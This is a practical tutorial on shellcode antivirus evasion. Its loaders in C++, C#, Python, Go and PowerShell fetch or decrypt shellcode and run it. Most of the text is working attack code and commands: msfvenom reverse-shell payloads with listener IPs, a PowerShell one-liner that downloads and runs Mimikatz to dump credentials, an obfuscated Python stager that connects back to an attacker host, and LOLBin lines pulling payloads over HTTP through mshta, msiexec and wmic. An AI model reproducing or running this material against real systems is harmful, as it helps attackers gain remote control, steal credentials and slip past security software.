Shellcode Evasion Techniques: A Practical Guide
Introduction
I aim to elucidate shellcode evasion techniques in an accessible, straightforward manner, using plain language and practical examples. It is my hope that fellow penetration testers with a background in web application security will also be able to implement these evasion methods effectively.
In this article, I have categorised shellcode evasion techniques into two primary classifications: "Separation" and "Obfuscation". These techniques target distinct detection methodologies employed by security solutions, namely signature-based detection, behavioural analysis, and cloud-based heuristic scanning.
Please note that my expertise is limited; should any errors be identified, I welcome corrections and constructive feedback.
0x01 Shellcode "Separation" Evasion
Let us first examine the conventional C/C++ loading methods commonly utilised for shellcode execution.
Typical approaches include function pointer execution, inline assembly instructions, pseudo-instructions, and similar techniques.

However, this approach—where the shellcode resides within the same executable file—renders the resulting binary highly susceptible to detection by antivirus solutions.

Consequently, the prevailing philosophy behind separation-based evasion is to decouple the shellcode from the loader program itself.
Let us examine a common separation-based loading implementation using C++ as an illustrative example:
A typical implementation employs memory allocation functions such as VirtualAlloc to execute shellcode:
#include "stdafx.h"
#include "windows.h"
using namespace std;
int main(int argc, char **argv)
{
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
// ... shellcode truncated for brevity ...
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}

To achieve true separation, we can retrieve the shellcode from external sources rather than embedding it statically within the binary. This can be accomplished through various means, such as extracting shellcode from text files or downloading it from remote servers.
The following example demonstrates retrieving shellcode via an HTTP request using the WinHTTP API, storing it in a memory buffer, and subsequently allocating executable memory for execution:
#include "stdafx.h"
#include <string>
#include <iostream>
#include <windows.h>
#include <winhttp.h>
#pragma comment(lib,"winhttp.lib")
#pragma comment(lib,"user32.lib")
using namespace std;
void main()
{
DWORD dwSize = 0;
DWORD dwDownloaded = 0;
LPSTR pszOutBuffer = NULL;
HINTERNET hSession = NULL,
hConnect = NULL,
hRequest = NULL;
BOOL bResults = FALSE;
hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession)
{
hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0);
}
if (hConnect)
{
hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0);
}
LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n";
SIZE_T len = lstrlenW(header);
WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD);
if (hRequest)
{
std::string data = "name=host&sign=xx11sad";
const void *ss = (const char *)data.c_str();
bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0);
}
if (bResults)
{
bResults = WinHttpReceiveResponse(hRequest, NULL);
}
if (bResults)
{
do
{
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
{
printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
break;
}
if (!dwSize)
break;
pszOutBuffer = new char[dwSize + 1];
if (!pszOutBuffer)
{
printf("Out of memory\n");
break;
}
ZeroMemory(pszOutBuffer, dwSize + 1);
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
{
printf("Error %u in WinHttpReadData.\n", GetLastError());
}
else
{
printf("ok");
}
int code_length = strlen(pszOutBuffer);
char* ShellCode = (char*)calloc(code_length / 2 , sizeof(unsigned char));
for (size_t count = 0; count < code_length / 2; count++){
sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]);
pszOutBuffer += 2;
}
printf("%s", ShellCode);
void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, ShellCode, sizeof ShellCode);
((void(*)())exec)();
delete[] pszOutBuffer;
if (!dwDownloaded)
break;
} while (dwSize > 0);
}
if (hRequest) WinHttpCloseHandle(hRequest);
if (hConnect) WinHttpCloseHandle(hConnect);
if (hSession) WinHttpCloseHandle(hSession);
system("pause");
}

Examining the detection results: after removing the embedded shellcode, Antivirus no longer flags the executable.

Numerous similar remote-loading techniques exist, such as PowerShell in-memory loading—a method with which many practitioners are undoubtedly familiar.
For instance, PowerShell can be used to remotely load Mimikatz for credential extraction:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz >> c:\1.txt

While many such techniques are widely used, certain in-memory loading methods are still intercepted by some antivirus solutions. We shall address this issue later in the article.
At this juncture, the underlying principle of language-based loaders should be self-evident. Nonetheless, I shall offer an explanation, drawing upon my colleague's analogy:
Shellcode is analogous to water; a loader serves as the vessel that contains it. Just as water must be poured into a cup before it can be consumed, shellcode must be loaded by a loader before it can be executed.
A) Loaders for Executing Shellcode
SSI (Shellcode String Injection):
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.142 LPORT=4444 -f c > msf.txt
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of c file: 1457 bytes
cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a68c0a8ae84680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5


Shellcode Launcher:

C# Loader:
using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
class Program
{
static void Main(string[] args)
{
// native function's compiled code
// generated with metasploit
byte[] shellcode = new byte[333] {
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]
private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
}
}
Python Loader:
import base64,sys;
import ctypes
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))
Go with Inline C:
package main
import "C"
import "unsafe"
func main() {
buf := ""
buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c"
... // Additional shellcode bytes omitted
buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2"
// at your call site, you can send the shellcode directly to the C
// function by converting it to a pointer of the correct type.
shellcode := []byte(buf)
C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}
Resource Loading: CPLResourceRunner
cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt
Generate shellcode using Cobalt Strike:
Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)
py -2 ConvertShellcode.py beacon.bin
Shellcode written to shellcode.txt
0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48,0x8d,0x1d,0xea,0xff,0xff,0xff,0x48,0x89,0xdf,0x48,0x81,0xc3,0x7c,0x79,0x01,0x00,0xff,0xd3,0x41,0xb8,0xf0,0xb5,0xa2,0x56,0x68,0x04,0x00,0x00,0x00,0x5a,0x48,0x89,0xf9,0xff,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0xc9,0xdb,0x6e,0xe9,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0xeb,0x54,0xd2,0xba,0x15,0xba,0x00,0xba,0x13
cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d 'n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt
H4sIAPGjM14AA/ONcgwK9eh86tH4RoGBgcGjV/bV////PTrvezQerqlkZPh/2XHHh62LwjJYgLJR
Hp0//19ggIEfQMwnv4uPYQvnWcUdjD5nFUMyMosVCory04sScxWSE/Py8ksUklIVikrzFDLzFFz8
gxVy81NS9Xi5VKBGnLyd97J3F8MuGH4dcmmXKJAWBgD9vO6hmAAAAA==
Compile to x86 and copy CPLResourceRunner.dll to RunMe.cpl
PowerShell Loading (MMFml):
namespace mmfExeTwo
{
using System;
using System.IO.MemoryMappedFiles;
using System.Runtime.InteropServices;
class Program
{
private delegate IntPtr NewDelegate();
// To handle the location by applying the appropriate type
// We had to create a delegate to handle the the pointer to the location where we shim in the shellcode
// into the Memory Mapped File. This allows the location of the opp code to be referenced later for execution
private unsafe static IntPtr GetShellMemAddr()
{
// 64bit shell code. Tested on a win10 system. Injects "cmd -k calc"
// was generated vanilla using "msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C -f powershell"
var shellcode = new byte[]
{
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,
0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,
0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,
0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,
0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,
0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,
0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,
0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,
0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,
0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,
0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00
};
MemoryMappedFile mmf = null;
MemoryMappedViewAccessor viewaccessor = null;
try
{
/* The try block creates the MMF and assigns the RWE permissions
The view accessor is created with matching permissions
the shell code from GetShellMemAddr is written to MMF
then the pointer is gained and a delegate is created to handle pointer value
so that it can be passed in therms of the returned function */
mmf = MemoryMappedFile.CreateNew("__shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
viewaccessor = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute);
viewaccessor.WriteArray(0, shellcode, 0, shellcode.Length);
var pointer = (byte*)0;
viewaccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer);
var func = (NewDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(NewDelegate));
return func();
}
catch
{
return IntPtr.Zero;
}
finally // You should always clean up after yourself :)
{
viewaccessor.Dispose();
mmf.Dispose();
}
}
static void Main(string[] args)
{
GetShellMemAddr();
}
}
}
msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f csharp
Invoke-MMFml

I shall conclude the discussion on loaders at this point. It is highly recommended to develop custom loaders when possible, as they often yield superior evasion results.
B) Lolbins: Leveraging Trusted Binaries for Shellcode Loading
Beyond the "cup and water" separation paradigm of loaders, I contend that Lolbins—or whitelisted binaries—represent another significant category of separation-based evasion.
These techniques are primarily designed to bypass behavioural detection. For instance, when an application's execution context deviates from expected patterns—such as invoking specific APIs that would not normally be called—such anomalous behaviour is readily detected. Whitelist-based exploitation circumvents these behavioural heuristics.
It should be noted, however, that in some cases the shellcode or executable files employed in these techniques may still be written to disk, rendering them susceptible to signature-based detection. We shall address this aspect later in the article. Let us first examine the concept of whitelist exploitation.
LOLBins, an acronym for "Living-Off-the-Land Binaries", was originally conceived by Christopher Campbell and Matt Graeber at the DerbyCon security conference in 2013, with the term itself later coined by Philip Goh. In essence, these are trusted system binaries that can be repurposed for malicious activities. Consider the following examples:
DarkHydrus APT Sample
MD5: B108412F1CDC0602D82D3E6B318DC634
Launch command employed:
cscript.exe "C:\Users\Public\Documents\OfficeUpdateService.vbs"
This example utilises cscript to execute a VBS script that establishes persistence via a startup entry.
Mshta:
payload:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin
cat shellcode.bin |base64 -w 0
mshta.exe http://192.168.174.134 /qing.hta
Template (replace shellcode at designated location):
https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

Msiexec:
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=4444 - f msi > qing.txt
C:\Windows\System32\msiexec.exe /q /i http://192.168.174.134 /qing.txt
# Loading DLL:
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=53 - f dll > qing.dll
msiexec /y C:\qing.dll
Msbuild:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe qing.xml
Template (courtesy of 3gstudent):
https://github.com/3gstudent/msbuild-inline-task

Installutil:
# Compile:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:qing.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs
# Execute:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U qing.exe
# Details:
https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/
Wmic:
wmic os get /FORMAT:"http://example.com/evil.xsl"
Template:
https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl
Csc:
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.132 LPORT=53 - f csharp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs
Subsequent execution can be performed via Installutil.
I shall refrain from enumerating further whitelist exploitation techniques, as the underlying principle remains consistent across different binaries.
A pertinent question arises: in certain scenarios, the executables or DLLs generated from our shellcode may still be written to disk when employing these techniques.
Although the aforementioned in-memory loading methods can mitigate this issue, what if file system persistence is a mandatory requirement? How can one evade detection in such cases?
This brings us to the second major category of evasion techniques: Obfuscation.
0x02 Shellcode "Obfuscation" Evasion
Is it possible to apply the same obfuscation, encryption, and fragmentation techniques used for PHP web shells to shellcode?
Let us begin with the simplest examples.
A) Shellcode Encoding Obfuscation
After XOR-encrypting the shellcode, memory is allocated for execution—a process fundamentally similar to the shellcode execution method described at the beginning of this article.
C# XOR Example (ShellcodeWrapper):
using System;
using System.IO;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
namespace RunShellCode
{
static class Program
{
//==============================================================================
// CRYPTO FUNCTIONS
//==============================================================================
private static T[] SubArray<T>(this T[] data, int index, int length)
{
T[] result = new T[length];
Array.Copy(data, index, result, 0, length);
return result;
}
private static byte[] xor(byte[] cipher, byte[] key) {
byte[] decrypted = new byte[cipher.Length];
for(int i = 0; i < cipher.Length; i++) {
decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]);
}
return decrypted;
}
//--------------------------------------------------------------------------------------------------
// Decrypts the given a plaintext message byte array with a given 128 bits key
// Returns the unencrypted message
//--------------------------------------------------------------------------------------------------
private static byte[] aesDecrypt(byte[] cipher, byte[] key)
{
var IV = cipher.SubArray(0, 16);
var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);
// Create an AesManaged object with the specified key and IV.
using (AesManaged aes = new AesManaged())
{
aes.Padding = PaddingMode.PKCS7;
aes.KeySize = 128;
aes.Key = key;
aes.IV = IV;
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(encryptedMessage, 0, encryptedMessage.Length);
}
return ms.ToArray();
}
}
}
//==============================================================================
// MAIN FUNCTION
//==============================================================================
static void Main()
{
byte[] encryptedShellcode = new byte[] { 0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa,0x39,0x5e,0xec,0x23,0x65,0xe5,0x35,0x65,0xe2,0x1c,0x4f,0x7e,0xde,0x24,0x41,0x40,0x96,0xc2,0x5b,0x10,0x15,0x6c,0x4b,0x51,0xa8,0xa1,0x6a,0x70,0xae,0x8c,0x95,0x23,0x3e,0xe5,0x35,0x61,0xe2,0x24,0x5b,0xfa,0x25,0x7f,0x1f,0x92,0x21,0x6f,0xb6,0x20,0xe2,0x37,0x47,0x70,0xba,0xe5,0x2e,0x69,0x8a,0x54,0x2e,0xfa,0x5d,0xe5,0x66,0xa7,0x58,0x91,0xcb,0xb0,0xa6,0x63,0x66,0xb6,0x51,0x8e,0x12,0x87,0x6a,0x13,0x9f,0x4a,0x14,0x4a,0x12,0x95,0x31,0xe5,0x3f,0x55,0x68,0xbd,0x01,0xfa,0x65,0x25,0xec,0x29,0x75,0x6f,0xb4,0xfa,0x6d,0xe5,0x66,0xa1,0xe0,0x2a,0x43,0x55,0x32,0x35,0x06,0x28,0x33,0x3f,0x98,0x91,0x36,0x31,0x3d,0xfa,0x7b,0x85,0xea,0x2c,0x01,0x5d,0x55,0x71,0x69,0x06,0x10,0x02,0x5b,0x31,0x33,0x19,0x25,0x19,0x41,0x76,0xe0,0x86,0x98,0xa1,0xd1,0xfe,0x66,0x71,0x69,0x47,0xa3,0x25,0x39,0x06,0x4e,0xf1,0x02,0x6e,0x98,0xa4,0x03,0x64,0x0f,0xb1,0xc1,0xc0,0xe9,0x19,0x6b,0x6e,0x76,0x2d,0xe0,0x88,0x37,0x21,0x39,0x3e,0x27,0x21,0x29,0x3e,0x0f,0x9b,0x66,0xb1,0x87,0x8e,0xbc,0xf9,0x0d,0x61,0x3f,0x39,0x0f,0xe8,0xcc,0x1a,0x06,0x8e,0xbc,0xeb,0xa7,0x05,0x63,0x91,0x29,0x79,0x1c,0x82,0x8f,0x16,0x69,0x6e,0x67,0x1b,0x69,0x04,0x63,0x27,0x3e,0x06,0x65,0xa8,0xa1,0x31,0x98,0xa4,0xea,0x96,0x67,0x0f,0x5f,0xe5,0x51,0x1b,0x29,0x06,0x67,0x61,0x69,0x6e,0x31,0x1b,0x69,0x06,0x3f,0xd5,0x3a,0x8b,0x98,0xa4,0xfa,0x3d,0x0d,0x71,0x3f,0x3d,0x30,0x19,0x6b,0xb7,0xaf,0x2e,0x96,0xbb,0xe4,0x89,0x69,0x13,0x4f,0x29,0x01,0x6e,0x27,0x71,0x69,0x04,0x67,0x21,0x01,0x65,0x48,0x7e,0x59,0x91,0xb2,0x26,0x01,0x1b,0x09,0x3c,0x08,0x91,0xb2,0x2f,0x37,0x91,0x6b,0x55,0x66,0xeb,0x17,0x8e,0x96,0x91,0x8e,0xea,0x96,0x91,0x98,0x70,0xaa,0x47,0xa1,0x04,0xa8,0xad,0xdc,0x81,0xdc,0xcc,0x31,0x1b,0x69,0x3d,0x98,0xa4 };
string key = "qing";
string cipherType = "xor";
byte[] shellcode = null;
//--------------------------------------------------------------
// Decrypt the shellcode
if (cipherType == "xor") {
shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));
}
else if (cipherType == "aes") {
shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));
}
//--------------------------------------------------------------
// Copy decrypted shellcode to memory
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// Prepare data
IntPtr pinfo = IntPtr.Zero;
// Invoke the shellcode
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
// The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(
UInt32 lpStartAddr,
UInt32 size,
UInt32 flAllocationType,
UInt32 flProtect
);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
}
}


The same principles apply to other programming languages. For instance, Python supports XOR encoding, Base64, and hexadecimal encoding, among others.
Python Base64 Example (k8gege):
import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
Python Hexadecimal Example:
import ctypes
import sys
#calc.exe
#sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4"
shellcode=bytearray(sys.argv[1].decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
Shellcode Encoder
I also recommend the following encoding tool:
https://github.com/ecx86/shellcode_encoder
Beyond language-based shellcode encoding, one may also choose to encode the shellcode during generation.
MSFVenom Example:
kali@kali:~$ msfvenom -l encoder
Framework Encoders [--encoder <value>]
======================================
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
